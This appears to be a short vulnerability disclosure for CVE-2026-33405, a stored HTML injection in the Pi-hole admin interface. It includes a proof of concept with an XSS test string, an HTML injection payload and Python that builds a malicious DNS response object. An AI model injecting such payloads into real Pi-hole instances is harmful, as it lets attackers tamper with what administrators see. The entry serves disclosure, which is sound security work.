CVE-2026-33405 Pi-hole Admin Interface 存储型HTML注入漏洞

# Proof of Concept Concept # The vulnerability resides in the 'formatInfo()' function rendering 'data.ede.text'. # Due to CSP (script-src 'self'), JS execution is blocked, but HTML injection works. # Malicious payload to be injected into the EDE text field of a DNS response payload = "<img src='x' onerror='alert(1)'>" # Since JS is blocked, a visual payload would be: visual_payload = "<h3 style='color:red'> Malicious Content Injected </h3> <b> Your admin interface is vulnerable </b>" # Python example to simulate the data structure that would trigger the vulnerability import json malicious_data = { "upstream": "normal_server", "client": { "ip": "192.168.1.1" }, "ede": { "text": visual_payload # This field is rendered unsafely in queries.js } } print(f"Malicious data object: {json.dumps(malicious_data)}")